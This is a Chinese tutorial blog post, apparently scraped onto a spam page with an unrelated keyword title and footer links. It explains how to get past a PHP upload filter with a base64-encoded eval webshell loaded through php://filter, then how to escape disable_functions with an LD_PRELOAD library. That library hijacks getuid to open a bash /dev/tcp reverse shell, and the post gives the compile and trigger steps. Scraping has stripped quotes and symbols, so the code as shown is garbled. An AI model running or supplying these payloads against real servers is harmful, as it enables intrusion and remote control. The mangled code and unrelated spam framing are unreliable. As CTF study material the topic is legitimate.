当前位置: 首页 > news >正文

养殖业网站模板中土集团北方建设有限公司网站

养殖业网站模板,中土集团北方建设有限公司网站,在网站上做宣传属于广告费用吗,自己做软件的应用目录 一、Base64php://filter绕过 1.思路分析 2.实践验证 二、disabled_function绕过 一、Base64php://filter绕过 上课讲了这样一道题#xff0c;一起来看下(以下代码适用于PHP7.x及以上#xff0c;5的版本会报错) ?php function fun($var): bool{$blacklist …目录 一、Base64php://filter绕过 1.思路分析  2.实践验证 二、disabled_function绕过 一、Base64php://filter绕过 上课讲了这样一道题一起来看下(以下代码适用于PHP7.x及以上5的版本会报错) ?php function fun($var): bool{$blacklist [\$_, eval,copy ,assert,usort,include, require, $, ^, ~, -, %, *,file,fopen,fwriter,fput,copy,curl,fread,fget,function_exists,dl,putenv,system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,,chmod];foreach($blacklist as $blackword){if(strstr($var, $blackword)) return True;}return False; } error_reporting(0); //设置上传目录 define(UPLOAD_PATH, ./uploads); $msg Upload Success!; if (isset($_POST[submit])) { $temp_file $_FILES[upload_file][tmp_name]; $file_name $_FILES[upload_file][name]; $ext pathinfo($file_name,PATHINFO_EXTENSION); if(!preg_match(/php/i, strtolower($ext))){ die(只要好看的php); }$content file_get_contents($temp_file); if(fun($content)){die(诶被我发现了吧); } $new_file_name md5($file_name)...$ext;$img_path UPLOAD_PATH . / . $new_file_name;if (move_uploaded_file($temp_file, $img_path)){$is_upload true;} else {$msg Upload Failed!;die();}echo div stylecolor:#F00.$msg. Look here~ .$img_path./div; } 前端就是一个上传标签没啥可看的 !DOCTYPE html html langen headmeta charsetUTF-8meta nameviewport contentwidthdevice-width, initial-scale1.0title文件上传/title /head bodyh2上传文件/h2form actionindex.php methodpost enctypemultipart/form-datainput typefile nameupload_file idupload_fileinput typesubmit value上传文件 namesubmit/form /body /html 1.思路分析  题目要求只能上传php文件上传普通的一句话肯定不行直接被过滤掉 普通Webshell不行那上无字母呢 很明显也不行过滤了$_ , ~ , ^等符号 最终发现它没有过滤Base64编码和php://filterinclude也可以试试用大写能不能绕过 php://filter可以获取指定文件源码。当它与包含函数结合时php://filter流会被当作php文件执行 思路 首先可以上传一个经过Base64编码后的一句话这样就不会被过滤了 之后再上传一个文件包含的php代码include函数里面指定php://filter文件流把我们上传的一句话当做php代码执行 最后蚁剑连接getshell 2.实践验证 那么我们首先呢上传一个经过Base64编码后的一句话绕过过滤 PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8 然后先写好php://filterresource后面接我们上传的一句话因为被Base64编码了所以要先进行解码 php://filter/convert.base64-decode/resource93bc3c03503d8768cf7cc1e39ce16fcb.php 之后加上Include就大功告成了 ?php Include(php://filter/convert.base64-decode/resource93bc3c03503d8768cf7cc1e39ce16fcb.php); ? 直接上传但是被过滤了仔细看看发现是-被过滤掉了也可能是Include大写绕不过去 那只有找别的办法Include先不管-怎么解决 这时候还是可以用Base64来绕过php://filter里有这个符号那我们就直接编码这样就绕过了 编码后那就需要解码加上base64_decode就行 那这样新的代码就出来了 ?php Include(base64_decode(cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT05M2JjM2MwMzUwM2Q4NzY4Y2Y3Y2MxZTM5Y2UxNmZjYi5waHA)); ? 上传成功先传个phpinfo试试 成功执行那就上蚁剑直接getshell 连接成功后原题本来是有disabled_function过滤的这里由于是自己搭的环境没办法 所以用现成的docker又搭了一个来模拟我们getshell后遇到disabled_function过滤 二、disabled_function绕过 getshell后进入命令行 可以看到我们执行任何命令都返回ret127可以确定有disabled_function过滤 那怎么绕过呢 这里就可以利用LD_PRELOAD这个环境变量具体可以看我的上一篇博文 Nginx负载均衡下的webshell连接与过滤绕过以及LD_PROLOAD利用_Catherines7的博客-CSDN博客 这里其实可以用蚁剑的插件直接绕过 但这次我们自己来写动态链接库绕过 #include stdlib.h #include stdio.h #include string.hvoid payload() {system(bash -c bash -i /dev/tcp/xxx.xx.xx.xxx/2333 01); }uid_t getuid() {if (getenv(LD_PRELOAD) NULL) {return 0;}unsetenv(LD_PRELOAD);payload(); } 劫持getuid这个函数来执行我们的反弹shell命令 同样gcc编译 gcc -shared -fPIC hook_getuid.c -o hook_getuid.so 编译后上传到服务器的/var/www/html目录下 再上传一个php文件 ?php putenv(LD_PRELOAD/var/www/html/hook_getuid.so); mail(,,,,); ? 然后到浏览器去执行这个php文件 但是因为我这里是docker环境弹shell弹不出来 但是又没有disabled_function过滤的这样一个环境所以就没有进一步深究了
http://wiki.neutronadmin.com/news/366384/

相关文章:

  • 县区网站服务器机房建设为什么大家用wordpress建网站
  • 免费域名映射南宁百度seo网站优化
  • 神马搜索推广西安官网优化技术
  • 合肥网站建设报价西安未央区今天出啥事了
  • 濮阳网站建设熊掌号力软框架做网站
  • php网站开发图文教程机场建设集团网站
  • 广州建设厅官方网站邵阳营销型网站建设
  • 学做网站必须php吗网上学设计的培训机构
  • 如何制作手机网页最简单的方法长春网站快速优化排名
  • 厦门响应式网站建设广州营销型网站制作
  • 电商公司网站建设财务核算wordpress 多色主题
  • 网站开发都是用什么框架河北seo搜索引擎优化
  • 模板做的网站如何下载新乡网站建设新乡
  • 做的网站里面显示乱码怎么解决整合营销推广策略
  • 抓取资源的网站怎么做免费网站开发公司
  • 网站建站建设哪家好桂林市是几线城市
  • 推广网站广告有哪些望牛墩东莞网站建设
  • 怎么查网站制作空间有效期qq企业邮箱怎么申请
  • 四川广安网站建设城市中国商业网站平台
  • 沈阳建设工程信息网站品牌营销传播
  • 东莞南城网站设计做网站公司如何选
  • 互联网行业建设网站天津建设工程新希望
  • 巴彦淖尔市网站制作网站建设公司专业开发北京网站
  • 做网站属于什么技术台州网站开发建设
  • 网站优化需要那些工具wordpress入门教程(视频)
  • 济南本地网站小型企业网站模板
  • 长沙多迪php网站开发培训学校网站建设与依法行政
  • 做一个付费网站多少钱网站开发后怎么转安卓app
  • 新闻资讯网站备案四川网站开发制作
  • 天津市建设工程造价管理协会网站创建网站用英语怎么说